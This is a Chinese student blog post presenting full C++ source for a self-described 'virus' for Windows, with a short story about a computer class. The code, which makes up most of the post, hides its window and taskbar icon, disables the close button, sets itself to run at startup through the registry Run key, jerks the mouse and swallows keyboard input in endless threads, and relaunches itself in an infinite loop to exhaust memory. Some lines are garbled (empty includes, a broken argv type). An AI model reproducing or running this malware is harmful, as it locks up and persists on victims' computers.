C++小病毒(通用加强版)
目录
闲扯一会儿
进入正题
宏、头文件、命名空间
隐藏任务栏图标、禁用关闭键
检查是否第一次打开
提示语、开机启动、保存
提示语
开机启动
保存
开线程
隐藏控制台
抢内存
代码封装
再扯一会儿
闲扯一会儿
嘿嘿嘿!我又来了!
我们班计算机课在周五,由于节假日我们学校放得早,所以上周清明节放假就没上计算机课。计算机老师为了“弥补”这个“遗憾”,有一个特殊机制:
一道编程题,班上只要有一个同学做出来,全班就可以“解放”。老师刚说完,一个同学(他是男的)就抱起了我(我也是男的)(因为我很轻),全班都把希望的“矛头”指向我。
于是我就开干了。题很简单,用什么语言都行,我当然用C++(不过我还是会一点点Python的)。
不到十分钟,我就做出来了。全班欢呼着,那个男同学又把我抱起来。
老师还给了我10积分,真好!接下来就可以自由活动了。
我上周不是写了一篇文章吗?
C++小病毒(VS版)
我想着那病毒,于是向老师申请开网,老师同意了。
于是我把病毒代码复制过来,由于我在学校用的是Dev-C++,在稍作修改(不影响整体效果)后,开始运行。
可出现了以下问题:
1、任务栏图标并没有隐藏(在C++小病毒(VS版)中已经改了小标题)。
2、提示栏每次都要弹出,如果忽略你在鼠标乱移时刚好点到“确定”的情况,就会导致复制的程序无法再次复制自己。
所以就有了这篇文章。
进入正题
宏、头文件、命名空间
#define _CRT_SECURE_NO_WARNINGS //strcat()所需#include//输入输出#include //字符串处理#include //Windows系统#include //线程#include //_T()等#include //读取与保存using namespace std; //为了方便
隐藏任务栏图标、禁用关闭键
这个还算简单。
//隐藏任务栏图标HWND hWnd = GetConsoleWindow();SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);//禁用关闭键HMENU hmenu = GetSystemMenu(hWnd, false);RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);LONG style = GetWindowLong(hWnd, GWL_STYLE);style &= ~(WS_MINIMIZEBOX);SetWindowLong(hWnd, GWL_STYLE, style);SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);ShowWindow(hWnd, SW_SHOWNORMAL);DestroyMenu(hmenu);ReleaseDC(hWnd, NULL);
检查是否第一次打开
其实就是打开一个文档,读取内容,再进行一个判断。
int check = 0;fstream in("save.txt");in >> check;in.close();if (check != 1){ //是第一次打开}//不是第一次打开
提示语、开机启动、保存
这部分在判断语句中写。
提示语
cout << "该程序是病毒!后果自负!" << endl;Sleep(3000);
开机启动
见C++小病毒(VS版)
保存
为了让复制的程序知道它不是第一次被打开。
ofstream out("save.txt");out << 1;out.close();
开线程
写一个乱移鼠标的线程函数。
int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);DWORD WINAPI mouse(LPVOID lpParameter){ srand(time(0)); while (1) { SetCursorPos(rand() % x, rand() % y); } return 0L;}DWORD WINAPI key(LPVOID lpParameter){ while (1) { FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE)); } return 0L;}
在刚刚的判断中写上一句。
HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);CloseHandle(hThread);hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);CloseHandle(hThread);
隐藏控制台
在主函数中写。
hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);if (hWnd){ ShowWindow(hWnd, SW_HIDE);}
抢内存
在主函数中写。
while (1){ char s[100] = "start "; system(strcat(s, argv[0]));}
代码封装
完整代码见下。
#define _CRT_SECURE_NO_WARNINGS#include#include#include#include#include#includeusing namespace std;int check = 0;int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);DWORD WINAPI mouse(LPVOID lpParameter){ srand(time(0)); while (1) { SetCursorPos(rand() % x, rand() % y); } return 0L;}DWORD WINAPI key(LPVOID lpParameter){ while (1) { FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE)); } return 0L;}int main(int argc, char argv){ HWND hWnd = GetConsoleWindow(); SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); HMENU hmenu = GetSystemMenu(hWnd, false); RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND); LONG style = GetWindowLong(hWnd, GWL_STYLE); style &= ~(WS_MINIMIZEBOX); SetWindowLong(hWnd, GWL_STYLE, style); SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE); ShowWindow(hWnd, SW_SHOWNORMAL); DestroyMenu(hmenu); ReleaseDC(hWnd, NULL); fstream in("save.txt"); in >> check; in.close(); if (check != 1) { cout << "该程序是病毒!后果自负!" << endl; Sleep(3000); HKEY hKey; if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { TCHAR strExeFullDir[MAX_PATH]; GetModuleFileName(NULL, strExeFullDir, MAX_PATH); TCHAR strDir[MAX_PATH] = {}; DWORD nLength = MAX_PATH; long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength); if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0) { RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR)); RegCloseKey(hKey); } } HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL); CloseHandle(hThread); hThread = CreateThread(NULL, 0, key, NULL, 0, NULL); CloseHandle(hThread); ofstream out("save.txt"); out << 1; out.close(); } hWnd = FindWindow(_T("ConsoleWindowClass"), NULL); if (hWnd) { ShowWindow(hWnd, SW_HIDE); } while (1) { char s[100] = "start "; system(strcat(s, argv[0])); } return 0;}
再扯一会儿
这次其实就把提示框改成了一句话,加了个check变量,加了几句隐藏任务栏图标的代码,顺便再加了个线程而已,代码也不算长。
哦,对了,再提一嘴,有虚拟机的帮忙看看。
好像该扯的都扯完了。
算了,早点睡了,拜拜!